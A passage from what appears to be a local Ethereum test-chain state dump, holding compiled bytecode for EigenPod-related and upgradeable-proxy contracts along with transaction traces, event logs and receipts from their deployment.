0401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212201a01de1d59be7fe16e003e55aa445e180a6e7594b61dacfe81b7a8e81476cdc664736f6c634300081b0033","nonce":10,"gas_used":5181770},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x4f114a","logs":[{"address":"0x610178da211fef7d417bc0e6fed39f05609ad788","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x4c2e7f6f7d3b694b58c1a6516aa7554d93d7566cc27e498ecf1c3c0d76d5d5b6","block_number":8},{"info":{"transaction_hash":"0xcb39bb5111342c9b6c2f3bc3007f67a86aa7cbd10b6ab9031dd81ff5a35d1026","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":118727,"gas_limit":172909,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xc5a5c42992decbae36851359345fe25997f5c42d","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":112343,"gas_limit":163971,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xc5a5c42992decbae36851359345fe25997f5c42d","address":"0x7a2088a1bfc9d81c55368ae168c2c02570cb814f","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","output":"0x","gas_used":99364,"gas_limit":148850,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":29,"gas_used":142119},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x22b27","logs":[{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f"],"data":"0x"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0xc5a5c42992decbae36851359345fe25997f5c42d","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000"},"block_hash":"0x8aa0904c878d1b06916d71fd7087ff1a672bcf725fc781d577775980b707280c","block_number":19},{"info":{"transaction_hash":"0xf51ba3a09c1a6df85d2e7e2f400e1425162aa0427b009dc971dc33fdc2a02278","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","nonce":4,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x117e5c","logs":[{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x000